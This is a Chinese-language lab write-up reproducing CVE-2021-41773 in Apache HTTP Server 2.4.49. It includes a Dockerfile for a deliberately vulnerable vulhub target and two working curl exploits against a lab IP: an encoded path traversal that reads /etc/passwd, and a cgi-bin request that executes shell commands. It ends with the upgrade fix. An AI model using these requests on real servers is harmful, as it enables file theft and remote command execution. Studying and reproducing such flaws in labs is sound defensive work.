CVE-2021-41773 - (apache 文件读取&命令执行)漏洞复现

目录

  • 漏洞描述
  • 影响版本
  • 漏洞复现
  • 漏洞修复

漏洞描述

CVE-2021-41773 漏洞是在 9 月 15 日发布的 2.4.49 版中对路径规范化所做的更改引入到 Apache HTTP Server 中的。此漏洞仅影响具有“require all denied”访问权限控制配置被禁用的Apache HTTP Server 2.4.49 版本。成功的利用将使远程攻击者能够访问易受攻击的 Web 服务器上文档根目录之外的任意文件。根据该公告,该漏洞还可能泄露“CGI 脚本等解释文件的来源”,其中可能包含攻击者可以利用该漏洞进行进一步攻击的敏感信息。


影响版本

Apache 2.4.49 版本


漏洞复现

1、先下载漏洞所需靶场,CVE-2021-41773
CVE-2021-41773 - (apache 文件读取&命令执行)漏洞复现_第1张图片


2、复制到靶场中,然后修改Dockerfile文件内容。

Dockerfile文件内容

FROM vulhub/httpd:2.4.49

RUN set -ex \
    && sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \
    && sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \
    && sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \
    && cat /usr/local/apache2/conf/httpd.conf \
        | tr '\n' '\r' \
        | perl -pe 's|.*?|\n    AllowOverride none\n    Require all granted\n|isg' \
        | tr '\r' '\n' \
        | tee /tmp/httpd.conf \
    && mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf

执行编译命令,环境搭建成功。

docker build -t httpd:server .
docker run -d -p 8080:80 httpd:server

CVE-2021-41773 - (apache 文件读取&命令执行)漏洞复现_第2张图片
在这里插入图片描述


3、文件读取&命令执行

文件读取

curl -v --path-as-is http://192.168.22.140:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

CVE-2021-41773 - (apache 文件读取&命令执行)漏洞复现_第3张图片
命令执行

curl --data "echo;whoami" http://192.168.22.140:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

在这里插入图片描述


漏洞修复

确保Apache HTTP Server更新到最新的版本2.4.50。


参考文章
大佬文章

你可能感兴趣的:(漏洞专栏,apache)